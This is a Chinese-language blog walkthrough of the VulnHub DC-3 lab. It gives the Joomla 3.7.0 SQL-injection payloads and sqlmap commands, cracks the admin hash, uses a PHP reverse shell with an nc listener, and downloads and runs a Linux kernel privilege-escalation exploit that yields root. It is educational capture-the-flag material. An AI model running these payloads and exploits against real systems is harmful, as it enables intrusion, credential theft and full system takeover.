靶机渗透练习71-DC3

靶机描述

靶机地址:http://www.vulnhub.com/entry/dc-32,312/

Description

DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

For those with experience doing CTF and Boot2Root challenges, this probably won't take you long at all (in fact, it could take you less than 20 minutes easily).

If that's the case, and if you want it to be a bit more of a challenge, you can always redo the challenge and explore other ways of gaining root and obtaining the flag.

Technical Information

DC-3 is a VirtualBox VM built on Ubuntu 32 bit, so there should be no issues running it on most PCs.

Please note: There was an issue reported with DC-3 not working with VMware Workstation. To get around that, I recommend using VirtualBox, however, I have created a separate DC-3 VMware edition for those who can only use VMware.

It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.

Installation is simple - download it, unzip it, and then import it into VirtualBox and away you go.

Important

While there should be no problems using this VM, by downloading it, you accept full responsibility for any unintentional damage that this VM may cause.

In saying that, there shouldn't be any problems, but I feel the need to throw this out there just in case.

Contact

I'm also very interested in hearing how people go about solving these challenges, so if you're up for writing a walkthrough, please do so and send me a link, or alternatively, follow me on Twitter, and DM me (you can unfollow after you've DM'd me if you'd prefer).

I can be contacted via Twitter - @DCAU7

This works better with VirtualBox rather than VMware ## Changelog v3.2 - 2020-04-25 v3.0 - 2019-03-26

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.7

靶机

IP地址:192.168.9.69

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

⬢  DC3  arp-scan -I eth0 -l                       
Interface: eth0, type: EN10MB, MAC: 00:50:56:27:27:36, IPv4: 192.168.9.7
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.2     08:00:27:47:9c:8e       PCS Systemtechnik GmbH
192.168.9.69    08:00:27:a8:90:da       PCS Systemtechnik GmbH

2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.942 seconds (131.82 hosts/sec). 2 responded

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

⬢  DC3  nmap -A -sV -T4 -p- 192.168.9.69
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-11 12:31 CST
Nmap scan report for 192.168.9.69
Host is up (0.00035s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:A8:90:DA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.35 ms 192.168.9.69

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.90 seconds

仅开放了80端口

同时发现了Joomla! - Open Source Content Managemen

CMS 是Joomla

2.2枚举漏洞

2.2.1 80 端口分析

访问:http://192.168.9.69/

image-20220411123418987

这个页面来来回回看了下,并没有什么有用的信息

Google搜索一下这个CMS

image-20220411125151233

主要是RCE漏洞,本地漏洞库搜一下:searchsploit Joomla

发现也有好多漏洞

image-20220411125439658

由于不知道版本信息

这个时这个时候咱们再去github搜一下是否有相应的poc/exp或者工具啥的

image-20220411131030486

这里就得经验选择了,看一下star跟update

下载扫描器Joomscan

然后拿刚下载的工具扫描一下看看

image-20220411180432378

得到了版本为joomla 3.7.0,同时还有几个目录,搜一搜他有什么漏洞

image-20220411180614458

发现该版本存在SQL注入

2.3漏洞利用

2.3.1 SQL注入漏洞

kali本地搜索一下漏洞库:searchsploit Joomla 3.7.0

image-20220411180803293

复制到本地查看一下内容

⬢  joomscan  searchsploit -m php/webapps/42033.txt                                               
  Exploit: Joomla! 3.7.0 - 'com_fields' SQL Injection
      URL: https://www.exploit-db.com/exploits/42033
     Path: /usr/share/exploitdb/exploits/php/webapps/42033.txt
File Type: ASCII text

Copied to: /home/kali/vulnhub/DC/DC3/joomscan/42033.txt


⬢  joomscan  cat 42033.txt 
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917


URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27


Using Sqlmap:

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]


Parameter: list[fullordering] (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (DUAL)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)

    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
    Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)#   

测试一下payload能用不

http://192.168.9.69/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

image-20220411183130613

payload没问题,咱们接着根据提示咱们用sqlmap跑一下

sqlmap -u "http://192.168.9.69/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --risk 3 --level 5 -dbs

image-20220411183215700

成功爆出数据库joomladb

下边就是一把梭了

sqlmap -u "http://192.168.9.69/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --risk 3 --level 5 -dbms=mysql -D joomladb -T “#__users” -C username,password --dump

Database: joomladb
Table: #__users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+----------+--------------------------------------------------------------+

恩,还记得DC-1的密码加密方法吗?

这里先不急着去爆破,咱们去找找joomla的账户密码的加密方式

发现都是解释的一些md5之类的,这样咱们用kali自带的john解密工具试试,能不能解密

john --wordlist=/usr/share/wordlists/rockyou.txt test

image-20220411184149196

成功解出密码为snoopy

image-20220411184324742

登录后发现,啥也没有

对了,前边用Joomscan扫出了几个目录,其中就有一个管理员登录界面

访问:http://192.168.9.69/administrator/

image-20220411184833869

这个应该就是该CMS的登录界面了

http://192.168.9.69/administrator/index.php?option=com_templates&view=templates

image-20220411185038020

这个页面应该就是咱们访问80看到的界面了

点进去看看有些啥

很明显,这些文件都是可以更改的

也就是说,咱们可以试试新建一个test.php看看

image-20220411185258783

访问:http://192.168.9.69/templates/protostar/test.php

image-20220411185624309

成功被解析,这样子,咱们新建一个反弹shell

image-20220411185836228

kali本地监听:nc -lvp 6666

访问:http://192.168.9.69/templates/protostar/php-reverse-shell.php

⬢  DC3  nc -lvp 6666                    
listening on [any] 6666 ...
192.168.9.69: inverse host lookup failed: Unknown host
connect to [192.168.9.7] from (UNKNOWN) [192.168.9.69] 54950
Linux DC-3 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
 20:01:38 up  5:39,  0 users,  load average: 0.10, 0.05, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ 

成功拿到shell

2.4权限提升

2.4.1 信息收集

切换至交互式shell

$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")'

信息收集一波

www-data@DC-3:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@DC-3:/$ sudo -l
sudo -l
[sudo] password for www-data: 

Sorry, try again.
[sudo] password for www-data: 

Sorry, try again.
[sudo] password for www-data: 

sudo: 3 incorrect password attempts

查询suid程序:find / -perm -u=s -type f 2>/dev/null

www-data@DC-3:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/ping6
/bin/ntfs-3g
/bin/umount
/bin/su
/bin/fusermount
/bin/mount
/bin/ping
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/at

https://gtfobins.github.io查询无果

查看一下系统版本及内核版本

www-data@DC-3:/$ cat /etc/*-release
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04 LTS"
NAME="Ubuntu"
VERSION="16.04 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
UBUNTU_CODENAME=xenial
www-data@DC-3:/$ 

发现系统版本是ubuntu 16.04及内核版本为4.4.0

咱们搜索ubuntu16.04版本存在的漏洞

image-20220411190629972

这里咱们选择39772这个

查看39772.txt这个文件内容

⬢  DC3  searchsploit -m linux/local/39772.txt                     
  Exploit: Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation
      URL: https://www.exploit-db.com/exploits/39772
     Path: /usr/share/exploitdb/exploits/linux/local/39772.txt
File Type: C source, ASCII text

Copied to: /home/kali/vulnhub/DC/DC3/39772.txt


⬢  DC3  cat 39772.txt 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808

In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.04.

When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first
function that touches the supplied eBPF instructions is
replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF
map file descriptors and looks up pointers for the corresponding map files.
This is done as follows:

        /* look for pseudo eBPF instructions that access map FDs and
         * replace them with actual map pointers
         */
        static int replace_map_fd_with_map_ptr(struct verifier_env *env)
        {
                struct bpf_insn *insn = env->prog->insnsi;
                int insn_cnt = env->prog->len;
                int i, j;

                for (i = 0; i < insn_cnt; i++, insn++) {
                        [checks for bad instructions]

                        if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
                                struct bpf_map *map;
                                struct fd f;

                                [checks for bad instructions]

                                f = fdget(insn->imm);
                                map = __bpf_map_get(f);
                                if (IS_ERR(map)) {
                                        verbose("fd %d is not pointing to valid bpf_map\n",
                                                insn->imm);
                                        fdput(f);
                                        return PTR_ERR(map);
                                }

                                [...]
                        }
                }
                [...]
        }


__bpf_map_get contains the following code:

/* if error is returned, fd is released.
 * On success caller should complete fd access with matching fdput()
 */
struct bpf_map *__bpf_map_get(struct fd f)
{
        if (!f.file)
                return ERR_PTR(-EBADF);
        if (f.file->f_op != &bpf_map_fops) {
                fdput(f);
                return ERR_PTR(-EINVAL);
        }

        return f.file->private_data;
}

The problem is that when the caller supplies a file descriptor number referring
to a struct file that is not an eBPF map, both __bpf_map_get() and
replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If
__fget_light() detected that the file descriptor table is shared with another
task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause
the reference count of the struct file to be over-decremented, allowing an
attacker to create a use-after-free situation where a struct file is freed
although there are still references to it.

A simple proof of concept that causes oopses/crashes on a kernel compiled with
memory debugging options is attached as crasher.tar.


One way to exploit this issue is to create a writable file descriptor, start a
write operation on it, wait for the kernel to verify the file's writability,
then free the writable file and open a readonly file that is allocated in the
same place before the kernel writes into the freed file, allowing an attacker
to write data to a readonly file. By e.g. writing to /etc/crontab, root
privileges can then be obtained.

There are two problems with this approach:

The attacker should ideally be able to determine whether a newly allocated
struct file is located at the same address as the previously freed one. Linux
provides a syscall that performs exactly this comparison for the caller:
kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd).

In order to make exploitation more reliable, the attacker should be able to
pause code execution in the kernel between the writability check of the target
file and the actual write operation. This can be done by abusing the writev()
syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays
read accesses, then mmap()s a file containing a struct iovec from that FUSE
filesystem and passes the result of mmap() to writev(). (Another way to do this
would be to use the userfaultfd() syscall.)

writev() calls do_writev(), which looks up the struct file * corresponding to
the file descriptor number and then calls vfs_writev(). vfs_writev() verifies
that the target file is writable, then calls do_readv_writev(), which first
copies the struct iovec from userspace using import_iovec(), then performs the
rest of the write operation. Because import_iovec() performs a userspace memory
access, it may have to wait for pages to be faulted in - and in this case, it
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,
allowing the attacker to suspend code execution in the kernel at that point
arbitrarily.

An exploit that puts all this together is in exploit.tar. Usage:

user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)

This exploit was tested on a Ubuntu 16.04 Desktop system.

Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7


Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip#                                                 ⬢  DC3  

可以看到exp下载链接https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

下载下来,然后在当前目录下使用python快速建立HTTP服务(这个目录是在39772.zip的目录下)、

python -m http.server 80

然后在我们监听端口的终端进行下载39772.zip文件

wget http://192.168.9.7/39772.zip

然后解压该压缩包,进入39772目录下,有两个tar文件,这里咱们解压exploit.tar文件

www-data@DC-3:/tmp$ ls
ls
39772
39772.zip
__MACOSX
systemd-private-e63aa7d53ffd477da274870cb3eb9e29-systemd-timesyncd.service-UYD8sD
www-data@DC-3:/tmp$ cd 39772
cd 39772
www-data@DC-3:/tmp/39772$ ls
ls
crasher.tar  exploit.tar
www-data@DC-3:/tmp/39772$ tar -xvf exploit.tar
tar -xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
www-data@DC-3:/tmp/39772$ tar -xvf  crasher.tar          
tar -xvf  crasher.tar
ebpf_mapfd_doubleput_crasher/
ebpf_mapfd_doubleput_crasher/compile.sh
ebpf_mapfd_doubleput_crasher/doubleput.c
www-data@DC-3:/tmp/39772$ cd ebpf_mapfd_doubleput_exploit
cd ebpf_mapfd_doubleput_exploit

然后运行sh脚本就行,编译代码时会出现warning,可以忽略

www-data@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit$ compile.sh
compile.sh
compile.sh: command not found
www-data@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./compile.sh
./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .insns = (__aligned_u64) insns,
             ^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .license = (__aligned_u64)""
               ^
www-data@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
ls
compile.sh  doubleput  doubleput.c  hello  hello.c  suidhelper  suidhelper.c

运行./doubleput

www-data@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput  
./doubleput
starting writev
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit# 

成功提权

在root目录下拿到flag

root@DC-3:/tmp/39772/ebpf_mapfd_doubleput_exploit# cd /root
cd /root
root@DC-3:/root# ls
ls
the-flag.txt
root@DC-3:/root# cat the-flag.txt
cat the-flag.txt
 __        __   _ _   ____                   _ _ _ _ 
 \ \      / /__| | | |  _ \  ___  _ __   ___| | | | |
  \ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
   \ V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|
    \_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
                                                     

Congratulations are in order.  :-)

I hope you've enjoyed this challenge as I enjoyed making it.

If there are any ways that I can improve these little challenges,
please let me know.

As per usual, comments and complaints can be sent via Twitter to @DCAU7

Have a great day!!!!
root@DC-3:/root# 

总结

本靶机通过信息收集,找到CMS的利用工具,通过工具拿到CMS版本号及相关目录,然后找到该版本的SQL注入漏洞,通过SQLmap跑出管理员账户密码,登录后台通过新建反弹shell来getshell,最后通过内核提权。

  1. 信息收集
  2. Joomscan的使用
  3. SQLmap的使用
  4. john的使用
  5. 内核漏洞提权
posted @ 2022-04-11 19:32  hirak0  阅读(236)  评论(0编辑  收藏  举报